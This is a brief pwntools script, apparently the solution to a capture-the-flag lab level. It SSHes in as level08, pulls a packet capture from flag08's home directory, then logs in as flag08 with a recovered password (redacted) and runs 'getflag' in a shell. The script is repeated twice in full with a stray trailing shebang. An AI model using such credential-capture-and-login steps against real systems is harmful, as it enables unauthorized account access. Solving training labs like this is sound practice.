<gh_stars>1-10
#!/usr/bin/python3

from pwn import *
from sys import argv,exit

if len(argv) < 2:
	sys.exit("Target IP Missing") 

level08 = ssh(host=argv[1],user='level08',password='<PASSWORD>')
file = level08.download_file(remote='/home/flag08/capture.pcap',local='/tmp/capture.pcap')
level08.close()

log.progress(f'flag08 Password : <PASSWORD>')

flag08 = ssh(host=argv[1],user='flag08',password='<PASSWORD>')
flag08_shell = flag08.shell('sh')
flag08_shell.sendline('getflag') 
flag08_shell.interactive(prompt="") 
#!/usr/bin/python3

from pwn import *
from sys import argv,exit

if len(argv) < 2:
	sys.exit("Target IP Missing") 

level08 = ssh(host=argv[1],user='level08',password='<PASSWORD>')
file = level08.download_file(remote='/home/flag08/capture.pcap',local='/tmp/capture.pcap')
level08.close()

log.progress(f'flag08 Password : <PASSWORD>')

flag08 = ssh(host=argv[1],user='flag08',password='<PASSWORD>')
flag08_shell = flag08.shell('sh')
flag08_shell.sendline('getflag') 
flag08_shell.interactive(prompt="")
#!/usr/bin/python3